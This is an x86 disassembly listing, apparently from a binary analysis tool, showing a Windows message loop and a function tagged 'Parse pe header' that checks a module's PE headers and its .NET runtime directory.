push 0
push eax
call esi
test eax, eax
je 0x401a9f
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop dword [eax]
lea eax, [esp + 0x40]
push eax
call edi
lea eax, [esp + 0x40]
push eax
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x4c]
push eax
call esi
test eax, eax
jne 0x401a80
mov ecx, dword [esp + 0x5c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401ab3
mov esp, ebp
pop ebp
ret

Function at 0x4022b2
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4022f1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4022f1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4022f1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4022f1
cmp dword [ecx + 0x74], 0xe
jbe 0x4022f1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret